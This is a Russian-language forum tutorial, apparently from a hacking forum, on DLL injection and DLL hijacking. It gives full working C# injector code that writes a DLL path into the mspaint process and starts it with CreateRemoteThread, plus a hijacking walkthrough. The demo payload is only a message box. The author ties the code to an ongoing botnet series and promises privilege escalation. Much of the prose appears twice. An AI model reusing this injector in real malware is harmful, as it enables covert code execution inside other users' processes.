Привет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 - 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.
Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс(исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.
Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking, а так же чем они отличаются.
DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
А далее напишем инжектор и разберем его по частям:
По сути основной смысл находится в этих двух методах
Полностью весь код, целиком:
Профит
DLL Hijacking
Это мы взглянули в целом на технику DLL Injection, а теперь же давайте посмотрим на DLL Hijacking.
Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории, и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.
Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки. Напишем же её.
А вот код метода Main, когда мы подключим нашу библиотеку.
Убедимся, что всё работает.
Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
Загрузим в утилиту наш билд:
Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace'om, именем класса и метода, то всё отработает.
Но это не интересно. Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance
В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.
Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
На этом всё, всем спасибо.
P.S. Те кто ждут статью про ботнет, обязательно дождутся, в следующей статье добавим еще две команды, отрефакторим весь предыдущий код и будем запускаться с повышенными привилегиями по запросу (а в некоторых случаях и без него).
Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс(исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.
Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking, а так же чем они отличаются.
DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
C:
#include <Windows.h>
extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(NULL, "DLL INJECTION", "SPECIAL FOR CODEBY", MB_OK);
break;
}
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return true;
}
А далее напишем инжектор и разберем его по частям:
По сути основной смысл находится в этих двух методах
Код:
public static int inject(string dllPath, Process tProcess)
{
Process targetProcess = tProcess; // Получаем процесс куда инжектим
string dllName = dllPath; // Имя дллки что инжектим
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); //открываем процесс для записи и чтения
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Получаем адрес процесса
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Выделяем память под новый тред
UIntPtr bytesWritten;
WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Пишем в новую область памяти
CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); // создаем поток в области памяти который запускает наш код
return 0;
}
// Здесь же просто вызов метода инжект
public static void Execute()
{
string rawDLL = String.Empty;
if (is64BitOperatingSystem)
{
rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
}
else
{
rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
}
// Execution of injection
Process proc = Process.GetCurrentProcess(); //GetProcessesByName("mspaint")[0];
Injection.inject(rawDLL, proc);
isInjected = true;
}
Полностью весь код, целиком:
Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Reflection;
namespace alphabotcsharp
{
public class Injection
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
// privileges
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
// used for memory allocation
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;
public static bool isInjected = false;
[DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWow64Process(
[In] IntPtr hProcess,
[Out] out bool wow64Process
);
static bool is64BitProcess = (IntPtr.Size == 8);
static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64();
public static int inject(string dllPath, Process tProcess)
{
Process targetProcess = tProcess;
string dllName = dllPath;
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
UIntPtr bytesWritten;
WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
return 0;
}
public static void Execute()
{
string rawDLL = String.Empty;
if (is64BitOperatingSystem)
{
rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
}
else
{
rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
}
// Execution of injection
Process proc = Process.GetProcessesByName("mspaint")[0];
Injection.inject(rawDLL, proc);
isInjected = true;
}
public static Boolean isInjectedAlready()
{
if (isInjected)
{
return true;
}
else
{
return false;
}
}
public static bool InternalCheckIsWow64()
{
if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) ||
Environment.OSVersion.Version.Major >= 6)
{
using (Process p = Process.GetCurrentProcess())
{
bool retVal;
if (!IsWow64Process(p.Handle, out retVal))
{
return false;
}
return retVal;
}
}
else
{
return false;
}
}
}
public class Program
{
public static void Main()
{
Injection.Execute();
}
}
}
Профит
DLL Hijacking
Это мы взглянули в целом на технику DLL Injection, а теперь же давайте посмотрим на DLL Hijacking.
Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории, и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.
Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки. Напишем же её.
Код:
using System.Windows.Forms;
namespace DllValid
{
public class Validation
{
public void GetMessage()
{
MessageBox.Show("Я нормальная библиотека");
}
}
}
А вот код метода Main, когда мы подключим нашу библиотеку.
Код:
using DllValid;
namespace alphabotcsharp
{
public class Program
{
public static void Main()
{
Validation message = new Validation();
message.GetMessage();
}
}
}
Убедимся, что всё работает.
Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
Загрузим в утилиту наш билд:
Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace'om, именем класса и метода, то всё отработает.
Но это не интересно. Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance
В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.
Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
На этом всё, всем спасибо.
P.S. Те кто ждут статью про ботнет, обязательно дождутся, в следующей статье добавим еще две команды, отрефакторим весь предыдущий код и будем запускаться с повышенными привилегиями по запросу (а в некоторых случаях и без него).
Вложения
Последнее редактирование: